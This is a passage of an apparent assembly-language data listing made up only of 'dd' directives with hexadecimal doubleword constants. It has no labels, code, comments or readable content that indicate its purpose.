0F07FD784h, 0B0AE0FDBh dd 0C75738h, 60FC8C98h, 1D0523h, 36D9C1F4h, 3E537ECAh dd 0AB016D06h, 0A0120FB3h, 0FC28EA1Ch, 1157004Bh, 64161209h dd 0E1EEC503h, 8B493006h, 78210Eh, 0C61ADADEh, 6C718660h dd 827AB0C8h, 31E4E943h, 4478C4EAh, 0EE6AB700h, 6E87E74Eh dd 80C500D1h, 865944CAh, 0CCF39604h, 0FD721BEDh, 78C78B1Dh dd 0B8ADCEh, 0F82C1D17h, 87F70073h, 0AA70D77Ah, 240706FDh dd 58F4BE15h, 8D54CB53h, 0A075B0E0h, 5B5E2044h, 24C04B0Ch dd 80A45D08h, 0F3C1E289h, 0F5006944h, 277B29E5h, 0C9E835Eh dd 4BF16231h, 4228C0E8h, 0A005B08Eh, 6DD1D3A2h, 8CC1D301h dd 9EDC0D33h, 8A9A005Bh, 0B7F84026h, 7158E4CEh, 0E38907DDh dd 204CC917h, 1B970F64h, 37807B7Ch, 6B322BCFh, 755B7001h dd 84949D12h, 0B427B0D7h, 90790B61h, 0A581E13Ah, 0F825A15Ah dd 0F839C2A5h, 8041BB89h, 0A9AC84DDh, 988FBCCDh, 6A06010Bh dd 46490DA8h, 503CBDh, 0C7BA31ECh, 31D52EFh, 14760E3Dh dd 19B6C73h, 1E41D2C8h, 1D7948h, 8AFEB484h, 61B571h, 77297FE6h dd 33014617h, 8F00C4ECh, 0C567CA0Bh, 8695BEh, 55DDCB2Fh dd 0B101D646h, 51FE7603h, 0E06F6BF9h, 28CB94CAh, 41A08C0Bh dd 4383696h, 1BEDF30h, 77F030C7h, 3890E855h, 0A281A528h dd 6B7C4980h, 0A9DEF861h, 400001F2h, 0CE7BAF77h, 0B8354CE0h dd 7AAE1E99h, 256340D8h, 15E73EBBh, 6605DA3Bh, 10A1B6h dd 0FF1D9B53h, 0DE87ED2Fh, 17D39D00h, 207A0C19h, 214B8C0h dd 66A6BA67h, 0F8C8AE58h, 0A2606157h, 0D6B14240h, 0D96F1682h dd 3FF00028h, 914CACFCh, 10BF1200h, 0AD09B984h, 53E00Fh dd 3A0C58D6h, 0D1CA0362h, 83E38103h, 8823F4B0h, 2C311Bh dd 0B5EA9382h, 9B6A6188h, 0C7D50A0Fh, 92A90477h, 0B0C00EC5h dd 7D1F2FAh, 34538F64h, 0B1670F40h, 0BEB880FEh, 6D4AC7CDh dd 0F595FC00h, 12CDF4Ah, 0CC14EAC6h, 8EB59DF1h, 20814010h dd 474A9CABh, 0D61F002Fh, 7A4D35E7h, 0E3F295CDh, 2C30BA00h dd 0AA6D9F1Ch, 98DD17B5h, 0CE181434h, 4D202800h, 22F4A6D6h dd 64CB0717h, 98645C8Dh, 0C01117B6h, 0E905C06h, 664FB733h dd 175F4080h, 6505CEB3h, 875D4F38h, 79B094C0h, 0C0C04D6Dh dd 0FD074701h, 0F8EA135Bh, 65EC09B2h, 3A3DA090h, 13C95C27h dd 22076F1Dh, 4AF0C9ACh, 0EFA4490h, 4D267A8Ah, 30686CA0h dd 7F007ECBh, 6140F3BAh, 0AEFC24h, 0BCCC574Eh, 0B2C24A56h dd 0FF6BD000h, 0E1759084h, 550A1635h, 0A9D4008Eh, 0CF45093Bh dd 870F9B2Dh, 66C08604h, 0FC3D3957h, 241FCFFh, 6C17A3E5h dd 70C92088h, 2B4AC4FCh, 1C00C54Fh, 1EEAF685h, 0FE75B2h dd 9489B874h, 3C53E8E0h, 2B951C00h, 4BFA2138h, 63200091h dd 45F0B927h, 8C04E2BFh, 0FDA669ECh, 5B87EC80h, 0C3318028h dd 10C0789Ch, 7A627B3h, 79CBD9E6h, 0C4D5CE57h, 0B136C300h dd 0B866F6A4h, 0F2F3EE03h, 0E8E88A4Fh, 44249Bh, 43FF6FD0h dd 0B97F87B3h, 1300EE74h, 2384F007h, 30FA770h, 14E95B31h dd 2000A5B2h, 0ADC62B7h, 9883DBh, 26656695h, 47850E4Bh dd 1F198C00h, 0DFF56CEBh, 0DE144C61h, 41910C01h, 0EC9209A6h dd 0E3004950h, 2ADEBBA9h, 2393E4h, 9BF1CE5Ah, 0D1C8E147h dd 444B1900h, 5F7069C0h, 910625C2h, 0EDD70C0h, 0D23C8400h dd 6A1A9EE8h, 0D1930104h, 149CE6D8h, 4C807FD3h, 0C5DB63h dd 8DEBBA18h, 77FADE5Dh, 95C3C100h, 9E2D2E71h, 54101A2h dd 0BB9DF760h, 9C60EEE5h, 0AA00EFBFh, 7CB838B9h, 735ABC9h dd 3CDDD75Dh, 179F10C7h, 3A00B9DCh, 6903DFA9h, 161A50B5h dd 0E930E2Ch, 44C29F3Ch, 77400A20h, 4E02C845h, 69EF837Ch dd 0F9DC8003h, 0B91F33h, 1EA3F401h, 5D968790h, 0AE04B000h dd 0D4817A67h, 8E5000B6h, 0BD37C411h, 8A00F920h, 4C046E6Dh dd 550BFEh, 0CBCF8F57h, 0F63471B2h, 3466339h, 0E3B09BEh dd 2311009Bh, 7D88DC06h, 323CC789h, 4AF400A1h, 91C5E854h dd 14989562h, 0CB5B71A9h, 3E40101Eh, 68B2CD5Ch, 0FDFB024Dh dd 52B02315h, 78A6EAE0h, 0F9F02900h, 0EC6CC4F6h, 517012h dd 17042EF2h, 5AFF61DAh, 0DE3A8B12h, 0F0F19200h, 90C51CD7h dd 68551D67h, 1B2F87EBh, 4E996085h, 3BF0DF9Eh, 18153Dh dd 776A324Ch, 5AF13Fh, 0D9A349EBh, 455016ADh, 4000E07Bh dd 53A1B262h, 2C21DAA7h, 4D00E09h, 5F33FF9Ah, 6081905Fh dd 98356873h, 2840FC45h, 69D6B88Dh, 0CF6500E4h, 6DF582E3h dd 403DE224h, 963FFA2Dh, 616980B4h, 22D2E104h, 3DE80210h dd 0C1FA0123h, 0FF0F9C8Bh, 851C0E80h, 0B800C4AFh, 0E7E3C94Eh dd 0F030D9h, 0BAAA5844h, 0CF7E0506h, 29286907h, 30214308h dd 0E0EF5920h, 0BE8DFFh, 485E3334h, 0F85CA916h, 14BCA800h dd 0A647BACAh, 0DB7AD5h, 97CE33F4h, 635E3494h, 45913200h dd 9ED29FC0h, 0F30909FAh, 8318B6h, 0CAF05149h, 8500F40Ah dd 2BFE1EE2h, 0ED80D8h, 0E1F95006h, 63B0C44Dh, 0EAFFAE03h dd 0B875933Eh, 3D157380h, 0F64401h, 9490A07Ch, 0D636C2D1h dd 6720507h, 5170B492h, 0E6172DD7h, 5B113D68h, 0BA104D8Fh dd 4BDF9A80h, 0E20EB1A0h, 0A3CAF901h, 0D841F282h, 772ABF55h dd 4AF103A4h, 74262386h, 47789F98h, 75490900h, 7A3E2479h dd 20420254h, 25596A58h, 0A37EFF87h, 0AFCC6741h, 22446180h dd 6F60003Eh, 3DA8B2BEh, 3C6E737Dh, 6A74360h, 3B70B6F6h dd 75800177h, 810739C4h, 18CCEBBDh, 440F11C5h, 67811C9h dd 0E8D648h, 73A7A63h, 0A9B550h, 0CA5E3856h, 0AFF6DFBDh dd 4A115B00h, 75B02122h, 0CFFCC5h, 73E7E8CEh, 8BAFA7FCh dd 0F46D400h, 0D24887FDh, 0A9B62A5Bh, 1E3F7280h, 0A5F19Fh dd 5ECA2EE3h, 50E82638h, 3F10E20Ah, 590A10E1h, 41001C8Fh dd 0A80EFD17h, 0E80205D1h, 0C03843D9h, 1BBC8316h, 0CF3C1305h dd 0CBC0DAB1h, 0B48AE5Fh, 0AAAC192Ch, 0E1A1B80h, 0C83F7F7Ah dd 80B4B963h, 62CBC043h, 873E05h, 0E26728E1h, 2B895C21h dd 33BBD100h, 3643C582h, 5EA900E9h, 0BE087856h, 9500E887h dd 98969D60h, 1F25A417h, 0EE7CF8h, 0BAD61CAEh, 0A91D57AAh dd 558046F2h, 1054E343h, 4A3300C5h, 1ACE76C3h, 2D000B8Dh dd 5F36D51Eh, 0D06101h, 60B0551Bh, 0E89C40A3h, 0A403E600h dd 7548B28Dh, 1574387Fh, 5CD66187h, 33A1803Bh, 9500F771h dd 2E3CD75Eh, 0FCB23160h, 196E152Bh, 0C430A0BDh, 0B7488C80h dd 3F33D4B0h, 7F70867h, 96CE621h, 3872012h, 1A1FF1EDh dd 24A0FA4Fh, 4030ECFFh, 52EF5A5Ch, 0A849C51Fh, 0F4A92C07h dd 7263B3E0h, 0DBAD027Ch, 282AC042h, 20809CE2h, 0CF347DB2h dd 1FAF40C0h, 1ACA95h, 2C5C789Eh, 21C04011h, 398BDF01h dd 0A5C518A6h, 79F12080h, 99826922h, 270820A7h, 0D949C00Dh dd 3D60A98Dh, 0B2720AB1h, 26A80338h, 5FA7AA55h, 0D9220818h dd 6B6720h, 94629B2h, 68CFD32Fh, 161D4092h, 8F43751Ah dd 7A6AB85h, 0DFC75964h, 0D94861F8h, 76344881h, 0A81CB204h dd 18325986h, 0B26F6320h, 0E2573A84h, 74BA6181h, 8316A891h dd 487B921h, 4557A0A2h, 0E10F3C68h, 0D97DC081h, 0D8CBB85Eh dd 0C830EC13h, 1792A199h, 6AF600EAh, 0FB275E91h, 0C0076E2h dd 0A614B0B5h, 761626D1h, 20800059h, 2E7A4F0Dh, 98061BAEh dd 0F3026CC0h, 52A40948h, 1480E638h, 7C9D0779h, 2806EA3Ah dd 0A400E494h, 0FCE6B234h, 0C25BD12h, 10A9565Fh, 400397B9h dd 0DAB23E9Dh, 22BA873h, 4F3F1F0Ah, 0CD1DFD85h, 297C841Dh dd 270C80BAh, 0FE49756Bh, 0A91013Ch, 0B70A850h, 12112424h dd 4EA6261Dh, 7D1473Ch, 0C93005AAh, 8040A0D5h, 4280B1E7h dd 103C9077h, 6245893Dh, 32B4D60h, 410024A7h, 235BEF3h dd 74260B44h, 0D031017Ah, 0E5EC9271h, 0B6698642h, 5830DB9Ch dd 0D60C912Ah, 8411C9D3h, 4A7E8F00h, 26C566E2h, 0C4353A59h dd 5E21B030h, 0B6007E83h, 3DAD278Ah, 0B845FDDFh, 0A3F1295Dh dd 7E8B0124h, 1886E25Eh, 9F9A88B1h, 994E7E00h, 521F1025h dd 854D01AAh, 0C5B34E5h, 0D178345Ah, 0DD281AB0h, 3E07AC42h dd 59AF02DBh, 9CD4D634h, 150F404h, 41E63430h, 1559C423h dd 3000B843h, 0BBF7E6AEh, 1B021A15h, 6D4C4A0Bh, 0F2046919h dd 8A0E8h, 6313CFD5h, 84D899FEh, 0B3E494A5h, 4E6E1C60h dd 66C85315h, 368C01E8h, 0B3F26F1Fh, 9A329CECh, 2694664h dd 4889105Fh, 10DB316Fh, 2E1057FFh, 0EDB42Eh, 0C1A72555h dd 9B1D0A18h, 29B0E46Bh, 6964BBDh, 10744F5h, 5F4668C2h dd 1E105516h, 34FDD560h, 96D80DEh, 79FA5756h, 0FB0B5000h dd 11EAB486h, 0C43E05D9h, 40400C34h, 0AA68E2ACh, 0B1007A7Dh dd 9A5BF1F0h, 16F76D5h, 1C221444h, 50AED3ECh, 3986E690h dd 37CB300h, 0C622365Eh, 9FFE1C83h, 734E8326h, 71E83787h dd 5349C097h, 0E61D80E4h, 8C51C478h, 31894A60h, 12DE6A3h dd 3B5FFBB1h, 0ED639BDEh, 0DA2EF001h, 656C80C1h, 0E980A772h dd 0B3A2C93Fh, 480141CAh, 0DA281693h, 65DE6E7Bh, 6018E4B4h dd 7155206h, 0B7E53AF9h, 23AE80EEh, 30B1A7EDh, 0C9813804h dd 0A98EE4C0h, 0CA89DCC0h dd 0C0D06A2Bh, 48881058h, 0F7225746h, 10500200h, 6A650564h dd 976D093Ch, 6420F904h, 0D754A1DEh, 526CC300h, 252C47CBh dd 0B03D077Bh, 0D27A834Bh, 4C4867CFh, 0B500021Bh, 31D651F5h dd 0EC0791BBh, 9DDB0065h, 0B6E75DEFh, 0E629528Fh, 0DB715409h dd 4C007118h, 7CFD9F06h, 798487C3h, 0F6190470h, 0CC04A3C9h dd 48CAD48h, 0E25F7E8Ah, 20AD620Eh, 9F7E828Fh, 12D47048h dd 180473E2h, 1E31015Ah, 0E9C4F0E6h, 40220643h, 0E6B03200h dd 8F6B777Eh, 130200D4h, 4033DDAAh, 0FE0C8278h, 70DED523h dd 77160CF0h, 0D4A82058h, 7E8D3E8Ch, 0C436E288h, 6440B564h dd 0CA917E81h, 0DC54B800h, 86D8E207h, 3F9401F6h, 0A885CFE1h dd 0E10241Ah, 3724B300h, 7B516E92h, 2ACA0761h, 51F65769h dd 82D6A703h, 42FE2459h, 11E868A5h, 0F549EBh, 0BED65860h dd 0BD7F6667h, 30A8194Ch, 0A66B39D9h, 56C82432h, 0AE1EBC00h dd 0F5830ABAh, 0B5467CC4h, 71F31300h, 85E0CBC6h, 0C0B14509h dd 743C84D5h, 8A096260h, 0FE674810h, 0E480F5C8h, 0F926105Ah dd 529500C1h, 0B5EF2BCAh, 5402A607h, 3811D9FAh, 15202E46h dd 0CCB720F2h, 0FC52D898h, 0E2450080h, 0AA53FE1h, 40390024h dd 1CF3DBEEh, 0A37C125Bh, 78285E1Fh, 4181069Fh, 9318ABC0h dd 2AFC34h, 219DB6BEh, 37A3D7DBh, 0F533A500h, 6C355A8Bh dd 27B32CF0h, 23DE8F74h, 0F8FF59E0h, 0B100CD18h, 4CCB0842h dd 0DB1E91h, 0F45763A7h, 70C70E8Ah, 3D93E4EFh, 6F1BEE00h dd 121AA9A8h, 0EF441274h, 53CE0040h, 0D4397D85h, 3A789FFCh dd 261C3Ah, 15628A78h, 5D9A7787h, 0A7033828h, 82F796A6h dd 4F7CDBD8h, 0A8200407h, 0BF30274Ch, 110FF3h, 8B197958h dd 0FDCC568Dh, 0D092967Fh, 2DC9D00Fh, 5850A070h, 632B924h dd 284CA6B8h, 0AA018129h, 0A33DBA92h, 0F1FC2C0Fh, 8054B0D3h dd 73FE7E4h, 5C3ECF16h, 0E4EF0D7h, 92078B08h, 9C55FB13h dd 0A0FAB520h, 6DC00EEh, 496D794h, 3126D2ABh, 1002A775h dd 604192FFh, 0A8163A39h, 0F728A0h, 0ABF23CC9h, 0D994459Ch dd 0D931A00h, 9E17C4FEh, 23C910FCh, 8D830139h, 0DA625DBh dd 0EF47418Fh, 0B7D5FA21h, 0CEEF30D8h, 0B310C80Ah, 2300E0F1h dd 0C3967E86h, 51EA1F2Fh, 599FC02Eh, 0CD1A8792h, 7C1CC40Fh dd 0F29080BAh, 54BF4E8Ch, 0BB80DEh, 37C1A53Bh, 34881762h dd 82905D3Dh, 7B7678B7h, 80C082CDh, 0E3A0A0B6h, 185FD9C9h dd 81CF21F6h, 8A0FF502h, 810AD406h, 7BE29EF4h, 0A682E05Bh dd 40F478h, 0A017232h, 0F8545C0h, 81803086h, 0FF65FCF8h dd 0B307C969h, 0CD3EA281h, 64D4D800h, 809B0098h, 0DD30A779h dd 0CB745796h, 7E00F0E6h, 0CFB128F7h, 68E4C5h, 56201A18h dd 0C848EA16h, 0FD74DB07h, 3491E931h, 4A30B7A6h, 0FFB90068h dd 0E3C7DCCBh, 0DE007BAEh, 10A4CE9Eh, 0C784D31h, 0B46E1958h dd 650A871Ah, 8F77AE54h, 0FE5D803h, 47BBF8A4h, 7B4670B8h dd 9E8D3D32h, 4044CD03h, 0EC8075F1h, 21122963h, 0D6E81B01h dd 20D83318h, 0B9E0CBACh, 0D2F34500h, 0F2D0AB1h, 0CC92209Fh dd 78756413h, 33E19100h, 5E63B4D4h, 38BAC0C1h, 7E390EBAh dd 8019BA84h, 1411BD10h, 0C0E134C7h, 57E3D160h, 9100B416h dd 5405EFCh, 0CC4749Ch, 4B1A0D19h, 0D1B07DA9h, 93354F03h dd 0D0CBB683h, 0E475E0Bh, 0D59D5DBEh, 3045FCA0h, 0D005CC93h dd 0BDC62131h, 462C2038h, 6CCC015Ch, 91550DC6h, 2920D880h dd 0AD7E7916h, 0C51D40E2h, 3218ACD0h, 211321h, 73868816h dd 0B4F24553h, 9188D550h, 9476AC00h, 62D1302Bh, 81573395h dd 21389F08h, 0FF00FB8Eh, 253C790Ch, 3AC67E6Ah, 9E2948A9h dd 1A5F00ACh, 350F767Bh, 51AEB403h, 14691D0h, 7452F480h dd 0A1404521h, 187C0491h, 10ADB49Dh, 6D26CE39h, 0AB00E831h dd 8CC189F1h, 7B830043h, 0BF649D5Eh, 391B4758h, 8C295AFDh dd 1284E221h, 59C71060h, 6D08C389h, 0CB1C2284h, 20441722h dd 0FA01EF67h, 9456BA83h, 1FECAA2Fh, 2DA92DADh, 893E4F7Eh dd 2EC2F2h, 0D7295EF9h, 761D07ACh, 0BED857EAh, 7DD654h dd 0C28FFF2Dh, 930979E6h, 2E36F600h, 8C7BEE4Ah, 6D87E5Ah dd 297C1673h, 0F20C3818h, 480F31D1h, 9C2D003Ah, 5CF0AF0Eh dd 6800082Ah, 0A2B4AC01h, 22C465h, 393136E1h, 4CC3B4Fh dd 8701F4F8h, 9C3316FBh, 1EF418B9h, 0A60101D8h, 3F084959h dd 119AF4D9h, 9300C171h, 24CF38BCh, 0FE65BFD6h, 0A3C40209h dd 0AE121785h, 5C16CC48h, 2291A80Fh, 72FA0DAh, 0F9A045h dd 1B7E7ACCh, 2B1C8E98h, 79518B00h, 2753E2B3h, 7A3E07BFh dd 0CE9B3D3Bh, 0A5C4C700h, 6E0011D5h, 17715722h, 8D5EF6h dd 8AEDAAFCh, 0B66F4CB3h, 0E1284B09h, 32100042h, 7DC36F4h dd 4EACE546h, 0EB780379h, 0FA64E3F8h, 2C331800h, 307EF8FCh dd 3419072Ah, 6E3D8659h, 0C238FE80h, 99000A54h, 16BE33BBh dd 281A60h, 0C76F44ABh, 0B226B943h, 80041B3Dh, 59ADA64Eh dd 98570Ah, 3EC29914h, 6BE17F7Bh, 926DC800h, 0EC9B6822h dd 94520C0Fh, 9760C63Ah, 0C0350E4h, 12CF2523h, 7855E8B2h dd 0C77D0F56h, 0ABA007F1h, 6F11E2FAh, 5A68790Ah, 0CE07E0CBh dd 0CF434998h, 4E7D54h, 0C9416445h, 66F6AAEEh, 50004DE8h dd 5CEFF3D1h, 1FFF53h, 9EAE4B87h, 0C96EEBA9h, 4500DFF8h dd 846A58C3h, 1C60E207h, 0B60872h, 0EBD2CD6Ch, 4B3F9F79h dd 0D8007975h, 33F65CF4h, 75D997Bh, 8846CD6Bh, 3F2130A0h dd 4A1E0585h, 0D45E6F12h, 791CAC00h, 4F54415h, 0A2EFD921h dd 0D6688090h, 7800B5A5h, 0BE09D8FFh, 62E8294h, 0C05ADE8Eh dd 0BA60C0FAh, 0E52D0E40h, 1E0EC68h, 0D2B4B236h, 0C0D551B5h dd 0BB729833h, 9CBFCD3Ah, 0D0409062h, 7231B8E4h, 4D8F007h dd 0AA17865Eh, 0CD20D0A1h, 0C309BBE5h, 753545h, 83F31524h dd 0A110122Fh, 0AD4F0059h, 6C74D560h, 0A9AEB903h, 0C1775FFFh dd 0DC40EB38h, 1009C5h, 0DE9BF7F2h, 1B022A8Ah, 61D640Ch dd 1A8D6h, 99AA7A05h, 880A534Dh, 57CA9D00h, 0BBF73CF5h dd 0B56C236h, 0FA80E240h, 0D2D81F45h, 0AE4FE61Fh, 0CF8AB24Fh dd 0D792E065h, 7CC064Dh, 0D2028F37h, 89E5600Bh, 0FF014ADAh dd 65AFF4E1h, 63E21664h, 7885E890h, 0F8A1032Ch, 9E583428h dd 0DD24BC8h, 413B3500h, 1D55B788h, 544C00C5h, 26199606h dd 46045039h, 0CE9DA35Dh, 485628C1h, 0FDD7C0C3h, 0FAB309A6h dd 0EC0018D6h, 0A9A5BB92h, 0C922FB01h, 0E6ADE893h, 0E551DCCh dd 3239C04h, 596C6660h, 0AB005C45h, 36FD0F67h, 0C9219Eh dd 0A5DEB51Fh, 0B6648954h, 89A97B3Ah, 89ADAE07h, 5FDE18h dd 8349442Bh, 0F301AC63h, 0E9D6A398h, 0C7F864B7h, 0B8431DC8h dd 0A63341E8h, 0C89EC125h, 0E4774B69h, 0ACE09600h, 36DFD5E7h dd 0A42381Fh, 0FCA6AF80h, 61FB546Fh, 0A49FE23Bh, 0C5171620h dd 322F2A00h, 77639Ah, 0AEBF4C8h, 1D19A3B3h, 7A3D571Eh dd 16B4F00h, 162345Fh, 0C866BCA1h, 20DF0597h, 8D0ED92Eh dd 40EC29BBh, 9E8ED37Bh, 969700E6h, 0B62E9863h, 0D7005DFFh dd 54872FE4h, 0FC076A6h, 4A9B03A5h, 6F6CEA0h, 0E0E6124Fh dd 2C3AD703h, 0E8DF6555h, 3FDBAD8Bh, 16800864h, 9F9B5F99h dd 33603E6Bh, 51AB5E30h, 1647B05Ch, 0FF4A7C94h, 0F77D6C00h dd 0B1F569h, 41AB0DBh, 7A02C037h, 3005120Ah, 0EC9F8C7Dh dd 0A0E83ECCh, 0E73D0125h dd 8EFC375Eh, 0B470D865h, 0BBB11800h, 0FA30D0C1h, 17C01C8Dh dd 41020021h, 0F774CA82h, 2A28CE00h, 48FB673Dh, 98BE00E0h dd 3463C8ADh, 0B00703Fh, 0A42D1E44h, 7116A001h, 71407F7h dd 23673141h, 0AB90E41Fh, 0C83BE89Eh, 0AC248019h, 0A3CBA8AEh dd 60DE0480h, 8090EFC7h, 2DD276E8h, 67737501h, 39B01CB6h dd 70CAC020h, 5BE8006Bh, 38420CFCh, 9CF8659Bh, 0E3EC130Fh dd 0E759604Eh, 0C4F72Ah, 4A833578h, 742310FCh, 58307F0Ah dd 0BD00E06Fh, 1809DDEBh, 4BDC00F6h, 68F2DBB0h, 0C007977Eh dd 2B1DB95Eh, 0EC60B261h, 201E30h, 3E160922h, 644B5CC1h dd 23DA0200h, 83DF2A1Ah, 3C750BDBh, 0A9F07CD8h, 418F0100h dd 439019F9h, 2CBF395Fh, 0A3002BD8h, 3AC09249h, 0FC00A7A9h dd 1FEB6C51h, 0A093395Eh, 5C7BA580h, 6A057CD9h, 0C08B38C5h dd 39E67010h, 2F017F73h, 0A482B1A0h, 0FC24426Fh, 64E400A8h dd 0A57384D0h, 0F100DA9Eh, 5C4ED731h, 3A995719h, 0A7802BF6h dd 1295EA9Ah, 28BAFB77h, 69391C00h, 74E0C0DCh, 0A0D02626h dd 0C49680ACh, 0F9ECF43Ah, 0F29C8503h, 0E8FDA524h, 5D0EBD56h dd 0A040CD3h, 87933A70h, 753EC050h, 0FA004247h, 6913F76Fh dd 58F3709Ah, 0D500A843h, 0B8B5BC56h, 61007E99h, 1FC48624h dd 4770C6h, 0B6877D4Eh, 0FAE3CA80h, 2C4872FEh, 0D49035Ah dd 9F02FBA7h, 0E0D3D594h, 0DA85E89Ah, 3ED607B2h, 909D69E2h dd 7CBC3C4Fh, 3BB3A900h, 0A401D3CBh, 0F9EEB1h, 6F3073C8h dd 1761D5E0h, 0E34F025h, 2964CF40h, 6E220082h, 0F903Eh dd 45D66371h, 8C06109Fh, 0C5628CA8h, 19F33B00h, 0A4CFF7EDh dd 0B173B3h, 468E9D92h, 4179622Dh, 30CBB530h, 1FE62249h dd 5D08Ah, 533113F9h, 9D0F21A9h, 204CFB82h, 34D292DFh dd 713800BAh, 23AE79DDh, 0EB00ADC8h, 5F74A1BDh, 0AF92CFh dd 1B41A222h, 30D48A47h, 0DCB73300h, 44C6A4F2h, 13E655h dd 0CD968C3Ah, 0C962CB26h, 3B6C852Ch, 415E300h, 0E7A256Fh dd 30932BB0h, 73B30Fh, 0B70229E0h, 360382D3h, 0F526ABBDh dd 1571995Fh, 3AA2D0h, 3F447247h, 8C1D1325h, 80706F38h dd 0B5316A9Ch, 0BB23E2Ah, 6509FF24h, 1C552780h, 2D00C241h dd 44C1F5D1h, 70F8EC43h, 0DC890C0Dh, 72480BAEh, 19304000h dd 845D28A8h, 68290252h, 45CEFEE5h, 3E9170A0h, 1D0F7915h dd 0E02949A6h, 0B0811A1h, 6788Fh, 1C6E4C27h, 0FF1FCFA8h dd 0CA41B10Fh, 11A0C1A9h, 7A816787h, 0C82418C3h, 4038FBA7h dd 20228089h, 39EBA3A9h, 0DB073F1Dh, 0CE58BE1Fh, 0B260D97Ch dd 0D76A24C0h, 0FCC9AE00h, 7956D014h, 93B901CAh, 7F1C6506h dd 80ADD56Ah, 0C9D47E4Eh, 15E8C4Ah, 5524666Bh, 0F030C82Fh dd 92005BD9h, 0C4B11B23h, 0F5D173Eh, 0E94AE160h, 2EAFD580h dd 2043610h, 52453DE2h, 3024D080h, 0FBEA00FCh, 2F9AD8EDh dd 951C78BAh, 0C2807735h, 0EFF2745Ah, 843704D4h, 8326ECD2h dd 0F690166Dh, 990769B9h, 4AE2E098h, 9C575900h, 0ABFCD7h dd 6C825C8Eh, 494C084h, 0A870EA00h, 1FC3279Dh, 3474ACh dd 0A4C13786h, 0A12B05FEh, 84C5F500h, 13817AFh, 0ECE6B7h dd 5819278Dh, 0C63C4BB3h, 0C5FC8800h, 0AFD8FBDDh, 7CD4016Ch dd 0E49A4E46h, 648EE8CCh, 99016EF2h, 1CD7EE91h, 63E44FB8h dd 0F40C0051h, 7A29D368h, 0DC01EC1Eh, 7B214445h, 3CE924DDh dd 9AFB60h, 0E8831626h, 2881924Dh, 0C000AEF4h, 0F9D098D6h dd 3030623Dh, 0E618D55Ch, 66007964h, 9CD88AADh, 0FCB7B168h dd 224603F1h, 0F38D3607h, 0D5585B0h, 0B860370Fh, 0B0D520B2h dd 2C745B1h, 4626D68Eh, 0C560DA71h, 0BA00827Ah, 531F1BCAh dd 0F99D3Fh, 0A6B005EBh, 5ABC946Dh, 0BB1D3Ch, 0C879B684h dd 0EFC708Dh, 0CFF6385Eh, 0C6F88C20h, 0DF00925Ah, 7DB9A751h dd 7F664Eh, 2CEC1D76h, 7871AAC0h, 6532D600h, 5F5A6F17h dd 0E5DA032Fh, 0AC11B646h, 88B133D8h, 26BB000h, 0A6C9C784h dd 1EEB0067h, 0B4CA811Ah, 7C4A6D83h, 2D0B27C0h, 15921E9Dh dd 855500FBh, 8C53643h, 97EF6003h, 0F71496FDh, 0B9C73FF0h dd 0E6E00092h, 183CE944h, 8C1C4B9Eh, 9580481Dh, 8F2AD09Dh dd 207F0370h, 0EA4985A4h, 4C183803h, 0D8E08433h, 0BDE3FBh dd 7A2307F0h, 919A0450h, 9F000AECh, 1F47EA31h, 3A956294h dd 0D3017717h, 27FEBDBAh, 0A1B3E060h, 548B3300h, 0E52D05CCh dd 88B60089h, 0E1D05891h, 7F00BB32h, 974F9C49h, 0D60CF2h dd 55B97A4Eh, 88A6C8C5h, 4CE3100h, 0E466BB3Dh, 0D87700EDh dd 3BCA761Dh, 0D00C4FFh, 0F654D682h, 3C0A974Eh, 8900C859h dd 3A129432h, 0B40026BAh, 0F4C1F6D0h, 72A2AA6Dh, 840D041Fh dd 90FBD16Eh, 0B03A1DF8h, 0BB06077Bh, 0C491F5B6h, 16240A18h dd 0AAFE57h, 80645205h, 9A009FD5h, 34D35DFCh, 98B8541h dd 0D126D0C9h, 0C8AEBA80h, 0B400EDF1h, 97510870h, 4F5C9E1h dd 0E85E451Fh, 791080E2h, 0E709D38Bh, 7B4F675h, 0E3AE07F4h dd 0B3C572h, 3D82BA10h, 103C20D7h, 31094107h, 0FF9D301h dd 338304Ch, 0E602540Fh, 0FED4BAE0h, 0CB18EE30h, 0E8189189h dd 0CE880003h, 0EF29A7C0h, 96004C5Ch, 8F1E5E11h, 0FCB134Eh dd 0B9EB957Ah, 1FB30740h, 9D07D9BDh, 0FB19AA51h, 24F8A80Ch dd 125702h, 7C9B058Fh, 2F00ED35h, 2CEF2E72h, 6AE6142h dd 85B2B4B0h, 0FA02C0ACh, 79FBFCC2h, 49FC8086h, 366ACDh dd 7E3339B4h, 75A8BCF5h, 9E44ED1Ch, 5B005F92h, 6B771093h dd 0FD5B3EA0h, 0B6CF0078h, 0DA82CB73h, 4B1C92D6h, 0A7CE2694h dd 9009A04Ch, 90D55155h, 0F0F40270h, 0F3C21DD6h, 0EC229241h dd 0EA00A307h, 0E374C8EDh, 0C0B110h, 7F8540F1h, 82C1D5CDh dd 0F0DB7326h, 0FFE0C500h, 74793Ah, 6A06F6B7h, 6E5F8C4Eh dd 0C1C86D00h, 382E8AD6h, 0F821002Fh, 407E8314h, 0EA78A451h dd 0A937270Fh, 5D6A6096h, 98896CBEh, 0AE410024h, 7A544C04h dd 5B00E1F8h, 0A04709CBh, 0F0EB4Fh, 751CD178h, 51AD3B30h dd 3600F4EEh, 0B44147D3h, 0E7E666h, 5276C608h, 0D1ADFC5Eh dd 0CD00F976h, 1B1DDA70h, 0CF6220h, 0BE2D8A3h, 0D1AC3A80h dd 7DF12B01h, 1F9B9515h, 0C0D3FCh, 4E4AE6A0h, 73EB6A4h dd 1C8D8007h, 4290F316h, 902B51D0h, 45670020h, 0FBB9F963h dd 5CB03383h, 5E07D303h, 313462h, 97727910h, 521926ADh dd 65744F00h, 563EA77Ah, 6F181E3Dh, 92006430h, 83C43180h dd 0DAC020B5h, 9080C241h, 687FBA55h, 0C407BC7Dh, 393BB5CFh dd 9A80D495h, 9615760h, 8AE401FAh, 9359BC80h, 0F3008464h dd 90C87503h, 3D8F5D4h, 381D99D2h, 52009245h, 48C9EAC2h dd 2EFBFDB2h, 9324A6h, 0F034BFF3h, 0C4007436h, 0B2DE938Bh dd 0F62353C5h, 765F0ED4h, 3A206338h, 0AA2D73BFh, 0E0A0500h dd 9F557A40h, 26780047h, 0E5AC5698h, 0E9C6750Ch, 30C721h dd 0EDCC4CA0h, 4246BE2Eh, 9F664100h, 74C407EAh, 17D40058h dd 0CEB53DC0h, 773EF72Ah, 8A48805Bh, 0ECC25C7h, 0D1520473h dd 0C0E20589h, 192E5A70h, 0F1EDE05h, 0D883EFB0h, 0B530D792h dd 5BCFEh, 0A1D9919Fh, 0C3B4CCD5h, 4C743700h, 4DF5249Dh dd 31360039h, 79030C61h, 9B0955EAh, 2CCB318h, 